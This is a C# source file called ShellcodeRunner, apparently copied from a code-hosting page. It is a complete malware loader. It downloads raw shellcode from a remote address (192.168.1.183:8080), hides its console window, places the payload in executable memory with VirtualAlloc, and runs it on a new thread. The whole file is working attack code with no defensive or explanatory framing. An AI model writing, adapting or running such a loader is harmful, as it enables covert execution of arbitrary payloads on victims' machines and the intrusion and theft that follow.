| 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758 |
- using System;
- using System.Net;
- using System.IO;
- using System.Reflection;
- using System.Runtime.InteropServices;
- using System.Diagnostics;
- namespace ShellcodeRunner
- {
- class Program
- {
- [DllImport("kernel32")]
- public static extern IntPtr CreateThread(
- IntPtr lpThreadAttributes,
- uint dwStackSize,
- IntPtr lpStartAddress,
- IntPtr param,
- uint dwCreationFlags,
- IntPtr lpThreadId
- );
- [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
- static extern bool FreeConsole();
-
- static void Main(string[] args)
- {
-
-
- WebClient client = new WebClient();
- string url = "http://192.168.1.183:8080/shellcode.bin";
- byte[] Shellcode = client.DownloadData(url);
- FreeConsole();
- IntPtr allocMemAddress = VirtualAlloc(IntPtr.Zero, (uint)Shellcode.Length, 0x00001000 | 0x00002000, 0x40);
- Marshal.Copy(Shellcode, 0, allocMemAddress, Shellcode.Length);
- IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
- WaitForSingleObject(threadHandle, 0xFFFFFFFF);
- Console.WriteLine("Shellcode executed");
- }
- [DllImport("kernel32")]
- public static extern IntPtr VirtualAlloc(
- IntPtr lpStartAddr,
- uint size,
- uint flAllocationType,
- uint flProtect
- );
- [DllImport("kernel32")]
- public static extern UInt32 WaitForSingleObject(
- IntPtr hHandle,
- UInt32 dwMilliseconds
- );
- }
- }
|